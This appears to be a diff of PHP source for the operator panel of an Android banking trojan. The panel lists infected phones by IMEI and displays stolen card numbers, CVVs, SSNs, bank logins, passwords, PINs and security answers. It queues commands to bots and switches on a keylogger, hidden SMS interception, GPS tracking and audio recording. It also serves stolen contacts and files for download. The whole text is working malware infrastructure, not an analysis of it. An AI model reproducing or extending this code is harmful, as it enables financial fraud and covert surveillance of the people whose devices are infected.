$massivBins = explode("|", $bin);
$BIN1 = $massivBins[0];
$BIN2 = $massivBins[1];
$BIN3 = $massivBins[2];
$BIN4 = $massivBins[3];
$BIN5 = $massivBins[4];
$BIN1_1 = mb_strtolower($BIN1);
$BIN1 = "Country: ";
$BIN2 = "Vendor: $BIN2";
$BIN3 = "Type: $BIN3";
$BIN4 = "Level: $BIN4";
$BIN5 = "Bank: $BIN5";
}
if($BIN1_1 == "")$BIN1_1 = "not";
*/
$imei_="";
$AndroidBot = "ID Bots: ";
$AndroidOS = "Android: ";
$Operator = "Operator: ";
$country = "Country: ";
$tag_ = "Tag: ";
$connection2 = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection2->exec('SET NAMES utf8');
$sql2 = "SELECT * FROM kliets";
foreach($connection2->query($sql2) as $row2)
{
if($row2['IMEI'] == $imei)
{
$OS = $row2['version'];
$oper = $row2['number'];
$countr = $row2['country'];
$lastConnect = $row2['lastConnect'];
$tag = $row2['version_apk'];
$l_log = $row2['log'];
$admin = $row2['r00t'];
$screen = $row2['screen'];
$requestInjProc=$row2['requestInjProc'];
$requestSMS=$row2['requestSMS'];
//******Получаем иконку состояния бота, вычисляем дату****
$arr_data_from = explode(" ", $row2['lastConnect']);
$arr_data_till = explode(" ", date('Y-m-d H:i'));
$date_from = $arr_data_from[0];
$date_till = $arr_data_till[0];
$date_from = explode('-', $date_from);
$date_till = explode('-', $date_till);
$time_from = mktime(0, 0, 0, $date_from[1], $date_from[2], $date_from[0]);
$time_till = mktime(0, 0, 0, $date_till[1], $date_till[2], $date_till[0]);
$day = ($time_till - $time_from)/60/60/24; //получаем разницу кол-во дней!
//----------Секунды!-------/
$date1 = new \DateTime($row2['lastConnect']);
$date2 = new \DateTime(date('Y-m-d H:i'));
$diff = $date2->diff($date1);
// разница в секундах
$seconds = ($diff->y * 365 * 24 * 60 * 60) + //получаем разницу в секундах!
($diff->m * 30 * 24 * 60 * 60) +
($diff->d * 24 * 60 * 60) +
($diff->h * 60 * 60) +
($diff->i * 60) +
$diff->s;
//----------обработка состояние иконки on/off-------/
if($day>=2)//Дни!
{
$img="images/icons/kill.png";
$getSortON_OFF="kill";
}
else
{
if($seconds<=120)
{$img="images/icons/online.png";
$getSortON_OFF="online";}
else
{$img="images/icons/offline.png";
$getSortON_OFF="offline";}
}
//************Иконки ЛОГОВ***************************************
if($l_log == "1")
{$icon_log="images/icons/log_on.png";}
elseif($l_log == "2")
{$icon_log="images/icons/log_on_g.png";}
else
{$icon_log="images/icons/log_off.png";}
/**/
if($admin == "1")
{$icon_admin="images/icons/V.png";}
else
{$icon_admin="images/icons/X.png";}
if($seconds<=120)
{
if($screen == "1")
{$icon_screen="images/icons/V.png";}
else
{$icon_screen="images/icons/X.png";}
}
else
{
$icon_screen="images/icons/X.png";
}
if($requestInjProc == "1")
{$icon_requestInjProc="images/icons/inj_v.png";}
else
{$icon_requestInjProc="images/icons/inj_off2.png";}
if($requestSMS == "1")
{$icon_requestSMS="images/icons/sms_v.png";}
else
{$icon_requestSMS="images/icons/sms_x.png";}
//----страны
if($countr == "") $countr = "not";
$country = mb_strtolower($countr);
$imei_ = "$imei";
$AndroidBot = "ID Bots: $imei";
$AndroidOS = "Android: $OS";
$Operator = "Operator: $oper";
$tag_ = "Tag: $tag";
break;
}
}
if($_SESSION['panel_right']!="admin")//Ограничение по тегам
{
$boolContinue=true;
if($tags[0]!=",")
{
foreach($thisTag as $tagZ)
{
if($tag == $tagZ)
{
if($tagZ!="")
{
$boolContinue=false;
break;
}
}
}
if($boolContinue)continue;
}
else
{
foreach($privateTag as $tagZ)
{
if($tag == $tagZ)
{
if($tagZ!="")
{
$boolContinue=false;
break;
}
}
}
if(!$boolContinue)continue;
}
}//---------------
if($numbercard!="")$numbercard = "Number: $numbercard</br>";
if($monthyear!="")$monthyear = "Mouth/Year: $monthyear</br>";
if($cvc!="")$cvc = "CVC: $cvc</br>";
if($nameholder!="")$nameholder = "Name holder: $nameholder</br>";
if($databirth!="")$databirth = "Date birth: $databirth</br>";
if($postalcode!="")$postalcode = "Postal code: $postalcode</br>";
if($addressholder!="")$addressholder = "Address holder: $addressholder</br>";
if($phonenumber!="")$phonenumber = "Phone number: $phonenumber</br>";
if($ssn!="")$ssn = "SSN: $ssn</br>";
if($accountnumber!="")$accountnumber = "Account number: $accountnumber</br>";
if($vbv!="")$vbv = "VBV: $vbv</br>";
if($SortCode!="")$SortCode = "Sort Code: $SortCode</br>";
$card = "$numbercard$monthyear$cvc$nameholder$databirth$postalcode$addressholder$phonenumber$ssn$accountnumber$vbv$SortCode";
$car = mb_strtoupper($card, 'utf-8');
$infoBot = "$AndroidBot$AndroidOS$Operator$country$tag_";
//$BINS_ = "$BIN1_1$BIN1$BIN2$BIN3$BIN4$BIN5";
$boolFIND = true;
$boolFIND2 = true;
$boolFIND3 = true;
$boolFIND4 = true;
if(($getFind==null)||($getFind=="")||($getFind==" ")){
$boolFIND = true;
}else{
if(!Сontains($car, $getFind)) {
$boolFIND=false;
}
/*if(!Сontains($BINS_, $getFind)) {
$boolFIND2=false;
}*/
if(!Сontains($comments, $getFind)) {
$boolFIND3=false;
}
if(!Сontains($infoBot, $getFind)) {
$boolFIND4=false;
}
}
if($country=="Country: ")$country="not";
if(($boolFIND)||($boolFIND3)||($boolFIND4))
{
if($AndroidBot!="ID Bots: "){
$icon="</br>
<a title='$lastConnect'><img src=$img width='16px'/></a>
<a title='Screen'><img src=$icon_screen width='18px'/></a>
<a title='Hidden intercepting SMS'><img src=$icon_requestSMS width='18px'/></a>
<a title='Permission injections'><img src=$icon_requestInjProc width='18px'/></a>
<button class='btn_log' onclick='getTextFileLogs(\"$imei\")' data-toggle='modal' data-target='.logs' style='background: transparent;' name='click_log' value='$imei' title='Logs' ><img id='logs$imei' src='$icon_log' title='Logs' alt='img' width='18px' class='img_log'/></button>
<button class='btn_log' onclick='getSettingsBot(\"$imei\");'data-toggle='modal' data-target='.settings' style='background: transparent;' name='click_set' value='$imei' title='Settings' ><img src='images/icons/fe.png' title='Settings' alt='img' width='20px' class='img_log'/></button>";
}else{
$icon="";
}
echo "<tr class='table_bots' style='color: #A4A4A4'>
<td>
<p align='left' style='color: #A4A4A4;'>
$AndroidBot</br>
$AndroidOS</br>
$tag_</br>
$Operator</br>
Country: <a title='$country' style='margin-top: -4%;'><img src='images/country/$country.png' width='20px'/></a></br>
$icon
</p>
</td>
<td>
<p align='left' style='color: #A4A4A4'>
$card
</p>
<td>
<textarea name='komment$numbercard2' id='styled-select' style='color: #A4A4A4; background: transparent; height:150px; border: 1px solid #A4A4A4;'>$comments</textarea>
</td>
<td>
<input type='submit' value='SAVE COMMENT' name='kom_save$numbercard2' style='margin-left:5px; border: 1px solid #000; width: 110px' class='btn btn-primary btn-xs'/>
</br>
<input type='submit' value='DELETE' name='delete$numbercard2' style='margin-left:5px; border: 1px solid #000; width: 110px;' class='btn btn-danger btn-xs'/>
</td>
</tr>";
}
}
echo "</form>";
?>
</div>
<div class="modal fade logs" id = "log_modal" style="margin-left:0px;">
<div id = "modal_l">
<a id="exit" data-dismiss="modal" aria-hidden="true" onclick="document.getElementById('logsTextArea').remove();" style="margin-left:97%; cursor: pointer; color: Red;">X</a>
<div class="styled-select" id="textArea"></div>
</div>
</div>
<div class="modal fade settings" style="Height: 572px; background: #1D1F24; margin: 0px auto auto -250px; padding: 10px; border-radius: 5px;" tabindex="-1" role="dialog" aria-labelledby="myLargeModalLabel" aria-hidden="true">
<button type="button" style="margin-top:-10px; color:#fff" class="close" data-dismiss="modal" aria-hidden="true">×</button>
<div class="styled-select">
<?php
$connection4 = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection4->exec('SET NAMES utf8');
$sql4 = "SELECT * FROM settings";
echo "<center><a id='AstatusSettings'><h5 id='statusSettings'>Settings are not active, wait until the bot updates them..</h5></a></center>";
echo "ID Bots<select name='comboBox_imeis2' id='comboBox_imeis2' style='color: #337ab7; background: #1D1F24; width: 100%; font-size: 13; height: 28px; width: 100%; padding: 5px; font-family: 'Consolas'; border: 1px solid #ccc;''>";
echo "</select> ";
echo "</br></br>";
//-----------------------
echo "<h5><a>Time of the bot:</a> <a style='color: Red;' id='idSeconds'></a> <a> seconds</a></h5>";
echo "<a><h5>Injections</h5></a>";
$sql4 = "SELECT * FROM injection";
$countInject = 0;
echo "<div style='width:100%; height:150px; background: #1D1F24; border: 1px solid #C1C1C1; overflow: auto;'>";
foreach($connection4->query($sql4) as $row){
$countInject++;
$ID_inj = $row['id'];
$name_inj = $row['name'];
echo "<input type='checkbox' id='check_set' name='check_set[]' value='$ID_inj' style='margin-top: -10px;'>$name_inj</input></br>";
}
echo "</div>";
echo "All injections: $countInject";
echo "</br></br>";
echo "<input type=checkbox name=check_record id='check_record' value='1' style='margin-top:0px;'> Record Sound </input>";
echo "<input type='text' name='id_seconds' id='id_seconds' style='color: #337ab7; background: #1D1F24; width: 10%; font-size: 13; height: 22px; padding: 5px; font-family: Consolas; border: 1px solid #ccc; border-radius: 8px'></input> Seconds";
echo "</br>";
echo "<input type=checkbox name=check_set_v id='chkinterceptSMS' value='1' style='margin-top:0px;'> Interception SMS</input>";
echo "</br>";
echo "<input type=checkbox name=check_set_d id='chkhideSMS' value='1' style='margin-top:0px;'> Hidden SMS interception</input>";
echo "</br>";
echo "<input type=checkbox name=check_set_network id='chknetwork' value='1' style='margin-top:0px;' > Geolocation NETWORK</input>";
echo "</br>";
echo "<input type=checkbox name=check_set_gps id='chkgps' value='1' style='margin-top:0px;'> Geolocation GPS</input>";
echo "</br>";
echo "<input type=checkbox name=check_foreground id='check_foreground' value='1' style='margin-top:0px;'> Foreground Service</input>";
echo "</br>";
echo "<input type=checkbox name=check_keylogger id='check_keylogger' value='1' style='margin-top:0px;'> Keylogger</input>";
?>
<input type='text' name='text_imei_set' id='text_imei_set'style='visibility:hidden'/>
</br>
<input type='submit' value='Save settings' onclick="saveSetting()" id="bth_add_set" name='bth_add_set' class='btn btn-success' style='Width:100%; Height: 30px; font-size: 14; margin-top:20px;' data-dismiss="modal" aria-hidden="true"/>
</div>
</div>
<?php
function Сontains($str,$substr)
{
$result = strpos($str, $substr);
if ($result === FALSE) // если это действительно FALSE, а не ноль, например
return false;
else
return true;
}
}
?>
+97
View File
@@ -0,0 +1,97 @@
<?php
$statusCode=false;
if (!(isset($_SESSION['panel_user'])))
{
session_destroy();
header("Location: /login.php");
}else{
if ($_SESSION['panel_status']!="Action"){
session_destroy();
header("Location: /login.php");
}
if (($_SESSION['panel_right']!="admin")&&($_SESSION['panel_right']!="user")){
header("Location: /index.php");
}else{
$statusCode=true;
}
}
if($statusCode){
?>
<div class="content">
<script type="text/javascript">
function checkAll(checkId){
var inputs = document.getElementsByTagName("input");
for (var i = 0; i < inputs.length; i++) {
if (inputs[i].type == "checkbox" && inputs[i].id == checkId) {
if(inputs[i].checked == true) {
inputs[i].checked = false ;
} else if (inputs[i].checked == false ) {
inputs[i].checked = true ;
}
}
}
}
</script>
<table class="table table-hover table_dark" id="bootstrap-table">
<thead class="header_table_bots">
<th><input type="checkbox" id="chk_new" onclick="checkAll('chk');" /></th>
<th>ID</th>
<th>ID Bots</th>
<th>Command</th>
</thead>
<?php
// include 'config.php';
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$sql = "SELECT * FROM commands";
$booleanIMEI = false;
//*****Обработка запросa Для удаления!
if((isset($_POST["delete"])) && (isset($_POST["checks"])))
{
if (preg_match("/checks/",print_r($_POST,true)))
{
foreach($_POST["checks"] as $id)
{
$id_del = $id;
$sql2 = "DELETE FROM commands WHERE id='".$id_del."'";
$connection->query($sql2);
}
}
header ('Location: /index.php?cont=commands');
}
//******батоны и переменые с базы!********
echo "<form method='post'>";
echo "<p id='text_command' style='margin-top:5px; Color:#EDB749; font-size: 13pt;'>Сommands in the queue</p>";
echo "<input type='submit' value='Delete' name='delete' style='margin-left:68px; margin-top:15px;' class='btn btn-outline-danger'/>";
foreach($connection->query($sql) as $row)
{
$ID = $row['id'];
$IMEI = $row['IMEI'];
$command = $row['command'];
//************Данные в таблице********************************************
echo "<tr class='table_bots' style='color: #A4A4A4'>
<td><input type=checkbox id='chk' name=checks[] value=$ID></input></td>
<td>$ID</td>
<td>$IMEI</td>
<td>$command</td>
</tr>";
}
echo "</form>";
// id IMEI command
?>
</table>
</div>
<?php } ?>
+113
View File
@@ -0,0 +1,113 @@
<?php
$statusCode=false;
if (!(isset($_SESSION['panel_user'])))
{
session_destroy();
header("Location: /index.php");
}else{
if ($_SESSION['panel_status']!="Action"){
session_destroy();
header("Location: /index.php");
}
if ($_SESSION['panel_right']!="admin"){
header("Location: /index.php");
}else{
$statusCode=true;
}
}
if($statusCode){
?>
<div class="content" style="padding-top:15px;">
<table class="table table-hover table_dark" id="bootstrap-table">
<thead class="header_table_bots">
<th><a title="Country"><img src="images/icons/table/Country.png" width='25px'/></a></th>
<th>Count</th>
<th><a title="Country"><img src="images/icons/table/icloud.png" width='25px'/></a></th>
</thead>
<?php
$getIP = $_SERVER['REMOTE_ADDR'];
$textFile = rFile("../.htaccess");
if (!preg_match("/$getIP/",$textFile)){
$getSession = $_SESSION['panel_user'];
$textSession="!!!login!!!$getSession";
if (preg_match("/$textSession/",$textFile)){
preg_match_all("#$textSession(.+?)endlogin$getSession#is", $textFile, $arr);
$getDate = $arr[0][0];
$saveTextFile = str_replace("#$getDate","#!!!login!!!$getSession\nAllow from $getIP\n#***endlogin$getSession",$textFile);
file_put_contents("../.htaccess", $saveTextFile, LOCK_EX);
}else{
$saveTextFile = str_replace("#!!!access html!!!","#!!!access html!!!\n#!!!login!!!$getSession\nAllow from $getIP\n#***endlogin$getSession",$textFile);
file_put_contents("../.htaccess", $saveTextFile, LOCK_EX);
}
}
$svoy=getcwd();
$godir="/application/datalogs/numers";
$dir = "$svoy$godir";
$files2 = scandir($dir, 1);
echo "<p id='text_command' style='margin-top:5px; Color:#EDB749; font-size: 13pt;'>Cell contacts</p>";
foreach($files2 as $fil)
{
if (preg_match("/.html/",$fil))
{
$nameF = str_replace(".html","","$fil");
$path = "application/datalogs/numers/";
$count = lines("application/datalogs/numers/$fil");
$nameF_icon=str_replace("(","",$nameF);
$nameF_icon=str_replace(")","",$nameF_icon);
if (!file_exists("images/country/$nameF_icon.png")) {
$nameF_icon="not";
}
echo "<tr class='table_bots' style='color: #A4A4A4'>
<td><a title='$nameF'><img src='images/country/$nameF_icon.png' width='20px'/></a></td>
<td>$count</td>
<td><a href='$path$fil' download>Download</a> / <a href='application/set/deleteFile.php?t=nums&f=$nameF'>Delete</a></td>
</tr>";
}
}
?></div><?php
}
function lines($file)
{
if(!file_exists($file))exit("Файл не найден");
$file_arr = file($file);
$lines = count($file_arr);
return $lines;
}
function rFile($path)
{
$file_handle = fopen($path, "r");
$text = "";
if ( is_resource($file_handle) ) {
while (!feof($file_handle)) {
$line = fgets($file_handle);
$text="$text$line";
}
fclose($file_handle);
}
return $text;
}
?>
+55
View File
@@ -0,0 +1,55 @@
<?php
$statusCode=false;
if (!(isset($_SESSION['panel_user']))){
session_destroy();
header("Location: /login.php");
}else{
if ($_SESSION['panel_status']!="Action"){
session_destroy();
header("Location: /login.php");
}
if ($_SESSION['panel_right']!="admin"){
header("Location: /index.php");
}else{
$statusCode=true;
}
}
if($statusCode){
?>
<div class="content" style="padding-top:15px;">
<table class="table table-hover table_dark" id="bootstrap-table">
<thead class="header_table_bots">
<th><a style='color: #EDB749;'>File Name</a></th>
<th><a title="Files"><img src="images/icons/table/icloud.png" width='25px'/></a></th>
</thead>
<?php
$svoy=getcwd();
$godir="/application/datalogs/files";
$dir = "$svoy$godir";
$files2 = scandir($dir, 1);
echo "<p id='text_command' style='margin-top:5px; Color:#EDB749; font-size: 13pt;'>Files</p>";
foreach($files2 as $fil)
{
if ((!preg_match("/.htaccess/",$fil))&&(!preg_match("/fhkjadgjghkshkliy-.txt/",$fil))&&($fil!=".")&&($fil!=".."))
{
$nameF = $fil;
$path = "application/datalogs/files/";
echo "<tr class='table_bots' style='color: #A4A4A4'>
<td><a title='$nameF'>$nameF</a></td>
<td><a href='$path$fil' download>Download</a> / <a href='application/set/deleteFile.php?t=files&f=$nameF'>Delete</a></td>
</tr>";
}
}
?>
</div>
<?php
}
?>
+674
View File
@@ -0,0 +1,674 @@
<?php
$statusCode=false;
if (!(isset($_SESSION['panel_user'])))
{
session_destroy();
header("Location: /login.php");
}else{
if ($_SESSION['panel_status']!="Action"){
session_destroy();
header("Location: /login.php");
}
if (($_SESSION['panel_right']!="admin")&&($_SESSION['panel_right']!="user")){
header("Location: /index.php");
}else{
$statusCode=true;
}
}
if($statusCode){
?>
<div id="showAlert"></div>
<script>
function getTextFileLogs(imei){
$.ajax({
url: 'application/get/logBot.php?imei='+imei,
success: function(data) {
$('#textArea').append('<textarea id="logsTextArea" readonly name="mesage" wrap="virtual" class="textlog">'+data+'</textarea>');
}
});
refreshContentTable();
}
function getSettingsBot(imei){
$("#text_imei_set").val(imei);
$('#comboBox_imeis2').append($('<option>', {
value: '0',
text: imei
}));
// ------ Clear Form -------
var inputsClear = document.getElementsByTagName("input");
for (var i = 0; i < inputsClear.length; i++) {
if (inputsClear[i].type == "checkbox" && inputsClear[i].id == 'check_set') {
inputsClear[i].checked = false ;
}
}
document.getElementById("chkinterceptSMS").checked = false;
document.getElementById("chkhideSMS").checked = false;
document.getElementById("chknetwork").checked = false;
document.getElementById("chkgps").checked = false;
document.getElementById("check_foreground").checked = false;
document.getElementById("check_keylogger").checked = false;
document.getElementById("check_record").checked = false;
document.getElementById("id_seconds").value = '';
$.ajax({url: 'application/get/settingsBot.php?imei='+imei, success: function(data) {
var arrayData = data.split('|');
var seconds = arrayData[0];
var injections = arrayData[1].split('/');
var interceptSMS = arrayData[2];
var hideSMS = arrayData[3];
var network = arrayData[4];
var gps = arrayData[5];
var status = arrayData[6];
var foreground = arrayData[7];
var keylogger = arrayData[8];
var check_record = arrayData[9];
var text_seconds = arrayData[10];
if(status!=null){
if(status==1){
document.getElementById("AstatusSettings").style.color='red';
document.getElementById("statusSettings").innerHTML="Settings are not active, wait until the bot updates them..";
}else{
document.getElementById("AstatusSettings").style.color='#00FF00';
document.getElementById("statusSettings").innerHTML="Settings are active!";
}
}
if(seconds!=null){
document.getElementById("idSeconds").innerHTML=seconds;
}
var inputs = document.getElementsByTagName("input");
for(var j = 1; j < injections.length; j++){
for (var i = 0; i < inputs.length; i++) {
if (inputs[i].type == "checkbox" && inputs[i].id == 'check_set' && inputs[i].value == injections[j]) {
inputs[i].checked = true ;
}
}
}
if(interceptSMS==1){
document.getElementById("chkinterceptSMS").checked = true;
}
if(hideSMS==1){
document.getElementById("chkhideSMS").checked = true;
}
if(network==1){
document.getElementById("chknetwork").checked = true;
}
if(gps==1){
document.getElementById("chkgps").checked = true;
}
if(foreground==1){
document.getElementById("check_foreground").checked = true;
}
if(keylogger==1){
document.getElementById("check_keylogger").checked = true;
}
if(check_record==1){
document.getElementById("check_record").checked = true;
}
if(text_seconds!=null){
document.getElementById("id_seconds").value = text_seconds;
}
}});
}
function saveSetting(){
var getImeis = document.getElementById("text_imei_set").value;
var injections = '';
var inputs = document.getElementsByTagName("input");
for (var i = 0; i < inputs.length; i++) {
if (inputs[i].type == "checkbox" && inputs[i].id == 'check_set' && inputs[i].checked == true) {
injections = injections + '/' + inputs[i].value;
}
}
var chkinterceptSMS = 0;
if(document.getElementById("chkinterceptSMS").checked==true){
chkinterceptSMS = 1;
}
var chkhideSMS = 0;
if(document.getElementById("chkhideSMS").checked==true){
chkhideSMS = 1;
}
var chknetwork = 0;
if(document.getElementById("chknetwork").checked==true){
chknetwork = 1;
}
var chkgps = 0;
if(document.getElementById("chkgps").checked==true){
chkgps = 1;
}
var foreground = 0;
if(document.getElementById("check_foreground").checked==true){
foreground = 1;
}
var keylogger = 0;
if(document.getElementById("check_keylogger").checked==true){
keylogger = 1;
}
var check_record = 0;
if(document.getElementById("check_record").checked==true){
check_record = 1;
}
var text_seconds = document.getElementById("id_seconds").value;
$.ajax({ url: "application/set/settingsBots.php?text_imei_set="+ getImeis +"&check_set="+ injections +"&chknetwork="+chknetwork+"&chkgps="+chkgps+"&chkinterceptSMS="+chkinterceptSMS+"&chkhideSMS="+chkhideSMS+"&foreground="+foreground+"&keylogger="+keylogger+"&check_record="+check_record+"&text_seconds="+text_seconds,
cache: false});
startNatif('success','Successfully saved settings!');
}
</script>
<div class="content" style="padding-top:15px;">
<form name='findCC' method='post'>
<a style="margin-left: 35%;color: #EDB749;">
Data injections:
</a>
<?php
$getFind = $_GET["find"];
if(isset($_POST["find"]))//Открываем форму логи!
{
$find=$_POST["textfind"];
header ("Location: /?cont=injections&find=$find");
}
echo "<input type='text' name='textfind' value='$getFind' id='styled-select' style='color: #EDB749; background: #1D1F24; width:15%;border: 1px solid black; border-color: rgba(255,255,255,.5); border-radius: 8px;'></input>";
?>
<input type='submit' value='FIND' name='find' style='margin-left:5px; width: 70px' class='btn btn-outline-secondary'/>
</form>
<table class="table table-hover table_dark" id="bootstrap-table">
<thead class="header_table_bots">
<th><a title="Android"><img src="images/icons/table/Android.png" width='25px'/></a></th>
<th><a title="Cards"><img src="images/icons/table/injection.png" width='23px'/></a></th>
<th>Comments</th>
<th><a title="Country"><img src="images/icons/table/icloud.png" width='25px'/></a></th>
</thead>
<?php
//include 'config.php';
//include 'class_users_rights.php';
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$sql = "SELECT * FROM injs";
if(isset($_POST["click_log"]))//Открываем форму логи!
{
$log_IMEI = $_POST["click_log"];
echo "<script>";
echo "$(document).ready(function(){";
echo "$('#log_modal').css({'display':'block'});";
echo "});";
echo "</script>";
}
if(isset($_POST["click_set"]))//Открываем форму настроек!
{
$set_IMEI = $_POST["click_set"];
echo "<script>";
echo "$(document).ready(function(){";
echo "$('#set_modal').css({'display':'block'});";
echo "});";
echo "</script>";
}
if (preg_match("/kom_save/",print_r($_POST,true)))
{
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$str = print_r($_POST,true);
$str = str_replace("[kom_save","!!!",$str);
$str = str_replace("]","@@@",$str);
$massiv = explode("!!!", $str);
$massiv = explode("@@@", $massiv[1]);
$str = $massiv[0];
$comments = $_POST["komment$str"];
$statement = $connection->prepare("UPDATE injs SET comments = '$comments' WHERE id = '$str';");
$statement->execute([$comments]);
$statement->execute([$str]);
}
if (preg_match("/delete/",print_r($_POST,true)))
{
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$str = print_r($_POST,true);
$str = str_replace("[delete","!!!",$str);
$str = str_replace("]","@@@",$str);
$massiv = explode("!!!", $str);
$massiv = explode("@@@", $massiv[1]);
$str = $massiv[0];
$statement = $connection->prepare("DELETE FROM injs WHERE id='$str'");
$statement->execute([$str]);
}
/****Ограничение по тегам****/
$userRights = new users_right;
$tags = explode("|", $userRights->getPrivateTags());
$thisTag = explode(",", $tags[0]);
$privateTag = explode(",", $tags[1]);
/****************************/
$sql = "SELECT * FROM injs";
echo "<form name='formcards' method='post'>";
foreach($connection->query($sql) as $row)
{
$id = $row['id'];
$idbot = $row['idbot'];
$country = $row['country'];
$name = $row['name'];
$login = $row['login'];
$password = $row['password'];
$params1 = $row['params1'];
$params2 = $row['params2'];
$pin = $row['pin'];
$vopros1 = $row['vopros1'];
$vopros2 = $row['vopros2'];
$otvet1 = $row['otvet1'];
$otvet2 = $row['otvet2'];
$cc = $row['cc'];
$monthyear = $row['monthyear'];
$cvv = $row['cvv'];
$f_name = $row['f_name'];
$l_name = $row['l_name'];
$phone = $row['phone'];
$dateBrith = $row['dateBrith'];
$logs = $row['logs'];
$comments = $row['comments'];
$imei_="";
$AndroidBot = "ID Bots: ";
$AndroidOS = "Android: ";
$Operator = "Operator: ";
$country = "Country: ";
$tag_ = "Tag: ";
$connection2 = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection2->exec('SET NAMES utf8');
$sql2 = "SELECT * FROM kliets";
foreach($connection2->query($sql2) as $row2)
{
if($row2['IMEI'] == $idbot)
{
$OS = $row2['version'];
$oper = $row2['number'];
$countr = $row2['country'];
$lastConnect = $row2['lastConnect'];
$tag = $row2['version_apk'];
$l_log = $row2['log'];
$admin = $row2['r00t'];
$screen = $row2['screen'];
$requestInjProc=$row2['requestInjProc'];
$requestSMS=$row2['requestSMS'];
//******Получаем иконку состояния бота, вычисляем дату****
$arr_data_from = explode(" ", $row2['lastConnect']);
$arr_data_till = explode(" ", date('Y-m-d H:i'));
$date_from = $arr_data_from[0];
$date_till = $arr_data_till[0];
$date_from = explode('-', $date_from);
$date_till = explode('-', $date_till);
$time_from = mktime(0, 0, 0, $date_from[1], $date_from[2], $date_from[0]);
$time_till = mktime(0, 0, 0, $date_till[1], $date_till[2], $date_till[0]);
$day = ($time_till - $time_from)/60/60/24; //получаем разницу кол-во дней!
//----------Секунды!-------/
$date1 = new \DateTime($row2['lastConnect']);
$date2 = new \DateTime(date('Y-m-d H:i'));
$diff = $date2->diff($date1);
// разница в секундах
$seconds = ($diff->y * 365 * 24 * 60 * 60) + //получаем разницу в секундах!
($diff->m * 30 * 24 * 60 * 60) +
($diff->d * 24 * 60 * 60) +
($diff->h * 60 * 60) +
($diff->i * 60) +
$diff->s;
//----------обработка состояние иконки on/off-------/
if($day>=2)//Дни!
{
$img="images/icons/kill.png";
$getSortON_OFF="kill";
}
else
{
if($seconds<=120)
{$img="images/icons/online.png";
$getSortON_OFF="online";}
else
{$img="images/icons/offline.png";
$getSortON_OFF="offline";}
}
//************Иконки ЛОГОВ***************************************
if($l_log == "1")
{$icon_log="images/icons/log_on.png";}
elseif($l_log == "2")
{$icon_log="images/icons/log_on_g.png";}
else
{$icon_log="images/icons/log_off.png";}
if($admin == "1")
{$icon_admin="images/icons/V.png";}
else
{$icon_admin="images/icons/X.png";}
if($seconds<=120)
{
if($screen == "1")
{$icon_screen="images/icons/V.png";}
else
{$icon_screen="images/icons/X.png";}
}
else
{
$icon_screen="images/icons/X.png";
}
if($requestInjProc == "1")
{$icon_requestInjProc="images/icons/inj_v.png";}
else
{$icon_requestInjProc="images/icons/inj_off2.png";}
if($requestSMS == "1")
{$icon_requestSMS="images/icons/sms_v.png";}
else
{$icon_requestSMS="images/icons/sms_x.png";}
//----страны
if($countr == "") $countr = "not";
$country = mb_strtolower($countr);
$imei_ = "$idbot";
$AndroidBot = "ID Bots: $idbot";
$AndroidOS = "Android: $OS";
$Operator = "Operator: $oper";
$tag_ = "Tag: $tag";
break;
}
}
if($_SESSION['panel_right']!="admin")//Ограничение по тегам
{
$boolContinue=true;
if($tags[0]!=",")
{
foreach($thisTag as $tagZ)
{
if($tag == $tagZ)
{
if($tagZ!="")
{
$boolContinue=false;
break;
}
}
}
if($boolContinue)continue;
}
else
{
foreach($privateTag as $tagZ)
{
if($tag == $tagZ)
{
if($tagZ!="")
{
$boolContinue=false;
break;
}
}
}
if(!$boolContinue)continue;
}
}//---------------
/*$vopros1 = $row['vopros1'];
$vopros2 = $row['vopros2'];
$otvet1 = $row['otvet1'];
$otvet2 = $row['otvet2'];
$cc = $row['cc'];
$monthyear = $row['monthyear'];
$cvv = $row['cvv'];
$f_name = $row['f_name'];
$l_name = $row['l_name'];
$phone = $row['phone'];
$dateBrith = $row['dateBrith'];
$logs = $row['logs'];*/
if($name!="")$name = "Name injection: $name</br>";
if($login!="")$login = "Login: $login</br>";
if($params1!="")$params1 = "Parameter 1: $params1</br>";
if($params2!="")$params2 = "Parameter 2: $params2</br>";
if($password!="")$password = "Password: $password</br>";
if($pin!="")$pin = "Pin: $pin</br>";
if($vopros1!="")$vopros1 = "Question 1: $vopros1</br>";
if($otvet1!="")$otvet1 = "Response 1: $otvet1</br>";
if($vopros2!="")$vopros2 = "Question 2: $vopros2</br>";
if($otvet2!="")$otvet2 = "Response 2: $otvet2</br>";
if($cc!="")$cc = "Number Card: $cc</br>";
if($monthyear!="")$monthyear = "Month/Year: $monthyear</br>";
if($cvv!="")$cvv = "CVV: $cvv</br>";
if($f_name!="")$f_name = "First name: $f_name</br>";
if($l_name!="")$l_name = "Last name: $l_name</br>";
if($phone!="")$phone = "Phone number: $phone</br>";
if($dateBrith!="")$dateBrith = "Date of birth: $dateBrith</br>";
$logs=str_replace("//br//","</br>",$logs);
$inj = "$name$login$params1$params2$password$pin$vopros1$otvet1$vopros2$otvet2$cc$monthyear$cvv$f_name$l_name$phone$dateBrith$logs";
$infoBot = "$AndroidBot$AndroidOS$Operator$country$tag_";
$boolFIND = true;
$boolFIND3 = true;
$boolFIND4 = true;
if(($getFind==null)||($getFind=="")||($getFind==" ")){
$boolFIND = true;
}else{
if(!Сontains($inj, $getFind)) {
$boolFIND=false;
}
if(!Сontains($comments, $getFind)) {
$boolFIND3=false;
}
if(!Сontains($infoBot, $getFind)) {
$boolFIND4=false;
}
}
if($country=="Country: ")$country="not";
if(($boolFIND)||($boolFIND3)||($boolFIND4))
{
if($AndroidBot!="ID Bots: "){
$icon="</br>
<a title='$lastConnect'><img src=$img width='16px'/></a>
<a title='Screen'><img src=$icon_screen width='18px'/></a>
<a title='Hidden intercepting SMS'><img src=$icon_requestSMS width='18px'/></a>
<a title='Permission injections'><img src=$icon_requestInjProc width='18px'/></a>
